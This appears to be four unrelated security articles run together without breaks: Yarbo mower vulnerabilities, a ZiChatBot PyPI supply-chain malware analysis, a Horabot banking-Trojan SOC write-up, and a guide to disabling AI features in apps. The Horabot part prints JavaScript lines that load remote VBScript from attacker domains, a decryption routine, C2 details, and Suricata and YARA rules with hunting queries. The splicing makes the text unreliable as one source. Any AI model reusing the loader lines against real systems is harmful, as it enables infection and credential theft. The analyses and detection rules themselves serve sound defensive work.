A researcher found that Yarbo yard robots came with a host of vulnerabilities which, among others, allowed an attacker to harvest WiFi passwords.
Security researcher Andreas Makris found he could remotely hijack thousands of Yarbo yard robots worldwide, and proved it by having his mower run him over. The root cause was a cluster of “legacy” design choices: every robot shared the same hardcoded root password, remote tunnels were left open, and Message Queuing Telemetry Transport (MQTT) messaging was so weakly protected that once you had one device, you effectively had the worldwide fleet.
An attacker could pull GPS coordinates, email addresses, and Wi‑Fi passwords, turn cameras into remote spying tools, and even re‑arm the mower after someone hit the emergency stop.
All of this was enabled by a persistent backdoor tunnel that users could neither see nor meaningfully control. The risks fell into three very different buckets:
A heavy mower with remotely controllable blades and an emergency stop that can be bypassed is a real-world safety hazard.
Exposed telemetry meant attackers could map where devices were, see who owned them, and in some reports even view camera feeds.
Network abuse through shared root credentials meant compromised robots could scan local networks, steal more data, or be folded into a botnet.
Yarbo’s public response is unusually detailed for a consumer Internet of Things (IoT) vendor. It’s also refreshingly blunt in admitting that the researcher’s core findings were accurate. The company temporarily disabled the remote diagnostic tunnels, reset root passwords, locked down unauthenticated endpoints, and began ripping out unnecessary legacy access paths.
More importantly, Yarbo promises structural changes:
Unique per‑device credentials.
Over-the-Air (OTA) credential rotation.
Audited, allowlist‑based remote diagnostics.
Dedicated security contact, with a possible bug bounty to follow.
That is the sort of long‑term security hygiene we rarely see spelled out this clearly after an IoT fiasco.
From a disclosure and remediation standpoint, Yarbo is doing many things right: crediting the researcher, apologizing, prioritizing fixes, and explaining both short‑term patches and long‑term architectural changes in human language. For buyers of connected devices with blades, that level of transparency is a positive precedent.
But Yarbo has explicitly chosen to keep a remote access tunnel, although wrapped in better controls and logs, instead of offering users the option to remove or fully opt out of it.
How to secure IoT devices
The vulnerabilities uncovered in the Yarbo case present an almost a live-action demo of what the IoT CybersecurityImprovement Act is trying to prevent in US government deployments. While the Act doesn’t apply to Yarbo directly, its National Institute of Standards and Technology (NIST)-driven requirements map neatly onto what went wrong here.
So, it’s still up to users to make sure you:
Change the default credentials.
Check if the vendor will make updates available and how easy it is to install them before buying an IoT product. And then install the updates when available.
If you can, put your IoT devices on a separate network. Use a guest Wi‑Fi or separate VLAN when available.
Disable what you don’t need. Turn off UPnP, remote access, cloud control, and unnecessary services if you’re not actively using them.
If your router or security suite logs connections from IoT devices, skim those logs for odd spikes or unknown destinations.
Let’s face it, an incognito window can only do so much.
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
If you don’t go searching for AI services, they’ll find you all the same. Every major tech company feels a moral obligation not just to develop an AI assistant, integrated chatbot, or autonomous agent, but to bake it into their existing mainstream products and forcibly activate it for tens of millions of users. Here are just a few examples from the last six months:
Google activated Gemini for all U.S. Chrome users, cranked its browser functionality to the max, aggressively expanded the reach of AI Overviews in search results, and baked a whole suite of AI features into its online services (Gmail, Google Docs, and others).
Apple integrated its own Apple Intelligence (conveniently sharing the AI acronym) into the latest OS versions across all device types and most of its native apps.
On the flip side, geeks have rushed to build their own “personal Jarvises” by renting VPS instances or hoarding Mac minis to run the OpenClaw AI agent. Unfortunately, OpenClaw’s security issues with default settings turned out to be so massive that it’s already been dubbed the biggest cybersecurity threat of 2026.
Beyond the sheer annoyance of having something shoved down your throat, this AI epidemic brings some very real practical risks and headaches. AI assistants hoover up every bit of data they can get their hands on, parsing the context of the websites you visit, analyzing your saved documents, reading through your chats, and so on. This gives AI companies an unprecedentedly intimate look into every user’s life.
A leak of this data during a cyberattack — whether from the AI provider’s servers or from the cache on your own machine — could be catastrophic. These assistants can see and cache everything you can, including data usually tucked behind multiple layers of security: banking info, medical diagnoses, private messages, and other sensitive intel. We took a deep dive into how this plays out when we broke down the issues with the AI-powered Copilot+ Recall system, which Microsoft also planned to force-feed to everyone. On top of that, AI can be a total resource hog, eating up RAM, GPU cycles, and storage, which often leads to a noticeable hit to system performance.
For those who want to sit out the AI storm and avoid these half-baked, rushed-to-market neural network assistants, we’ve put together a quick guide on how to kill the AI in popular apps and services.
How to disable AI in Google Docs, Gmail, and Google Workspace
Google’s AI assistant features in Mail and Docs are lumped together under the umbrella of “smart features”. In addition to the large language model, this includes various minor conveniences, like automatically adding meetings to your calendar when you receive an invite in Gmail. Unfortunately, it’s an all-or-nothing deal: you have to disable all of the “smart features” to get rid of the AI.
To do this, open Gmail, click the Settings (gear) icon, and then select See all settings. On the General tab, scroll down to Google Workspace smart features. Click Manage Workspace smart feature settings and toggle off two options: Smart features in Google Workspace and Smart features in other Google products. We also recommend unchecking the box next to Turn on smart features in Gmail, Chat, and Meet on the same general settings tab. You’ll need to restart your Google apps afterward (which usually happens automatically).
How to disable AI Overviews in Google Search
You can kill off AI Overviews in search results on both desktops and smartphones (including iPhones), and the fix is the same across the board. The simplest way to bypass the AI overview on a case-by-case basis is to append -ai to your search query — for example, how to make pizza -ai. Unfortunately, this method occasionally glitches, causing Google to abruptly claim it found absolutely nothing for your request.
If that happens, you can achieve the same result by switching the search results page to Web mode. To do this, select the Web filter immediately below the search bar — you’ll often find it tucked away under the More button.
A more radical solution is to jump ship to a different search engine entirely. For instance, DuckDuckGo not only tracks users less and shows little ads, but it also offers a dedicated AI-free search — just bookmark the search page at noai.duckduckgo.com.
How to disable AI features in Chrome
Chrome currently has two types of AI features baked in. The first communicates with Google’s servers and handles things like the smart assistant, an autonomous browsing AI agent, and smart search. The second handles locally more utility-based tasks, such as identifying phishing pages or grouping browser tabs. The first group of settings is labeled AI mode, while the second contains the term Gemini Nano.
To disable them, type chrome://flags into the address bar and hit Enter. You’ll see a list of system flags and a search bar; type “AI” into that search bar. This will filter the massive list down to about a dozen AI features (and a few other settings where those letters just happen to appear in a longer word). The second search term you’ll need in this window is “Gemini“.
After reviewing the options, you can disable the unwanted AI features — or just turn them all off — but the bare minimum should include:
AI Mode Omnibox entrypoint
AI Entrypoint Disabled on User Input
Omnibox Allow AI Mode Matches
Prompt API for Gemini Nano
Prompt API for Gemini Nano with Multimodal Input
Set all of these to Disabled.
How to disable AI features in Firefox
While Firefox doesn’t have its own built-in chatbots and hasn’t (yet) tried to force upon users agent-based features, the browser does come equipped with smart-tab grouping, a sidebar for chatbots, and a few other perks. Generally, AI in Firefox is much less “in your face” than in Chrome or Edge. But if you still want to pull the plug, you’ve two ways to do it.
The first method is available in recent Firefox releases — starting with version 148, a dedicated AI Controls section appeared in the browser settings, though the controls are currently a bit sparse. You can use a single toggle to completely Block AI enhancements, shutting down AI features entirely. You can also specify whether you want to use On-device AI by downloading small local models (currently just for translations) and configure AI chatbot providers in sidebar, choosing between Anthropic Claude, ChatGPT, Copilot, Google Gemini, and Le Chat Mistral.
The second path — for older versions of Firefox — requires a trip into the hidden system settings. Type about:config into the address bar, hit Enter, and click the button to confirm that you accept the risk of poking around under the hood.
A massive list of settings will appear along with a search bar. Type “ML” to filter for settings related to machine learning.
To disable AI in Firefox, toggle the browser.ml.enabled setting to false. This should disable all AI features across the board, but community forums suggest this isn’t always enough to do the trick. For a scorched-earth approach, set the following parameters to false (or selectively keep only what you need):
ml.chat.enabled
ml.linkPreview.enabled
ml.pageAssist.enabled
ml.smartAssist.enabled
ml.enabled
ai.control.translations
tabs.groups.smart.enabled
urlbar.quicksuggest.mlEnabled
This will kill off chatbot integrations, AI-generated link descriptions, assistants and extensions, local translation of websites, tab grouping, and other AI-driven features.
How to disable AI features in Microsoft apps
Microsoft has managed to bake AI into almost every single one of its products, and turning it off is often no easy task — especially since the AI sometimes has a habit of resurrecting itself without your involvement.
How to disable AI features in Edge
Microsoft’s browser is packed with AI features, ranging from Copilot to automated search. To shut them down, follow the same logic as with Chrome: type edge://flags into the Edge address bar, hit Enter, then type “AI” or “Copilot” into the search box. From there, you can toggle off the unwanted AI features, such as:
Enable Compose (AI-writing) on the web
Edge Copilot Mode
Edge History AI
Another way to ditch Copilot is to enter edge://settings/appearance/copilotAndSidebar into the address bar. Here, you can customize the look of the Copilot sidebar and tweak personalization options for results and notifications. Don’t forget to peek into the Copilot section under App-specific settings — you’ll find some additional controls tucked away there.
How to disable Microsoft Copilot
Microsoft Copilot comes in two flavors: as a component of Windows (Microsoft Copilot), and as part of the Office suite (Microsoft 365 Copilot). Their functions are similar, but you’ll have to disable one or both depending on exactly what the Redmond engineers decided to shove onto your machine.
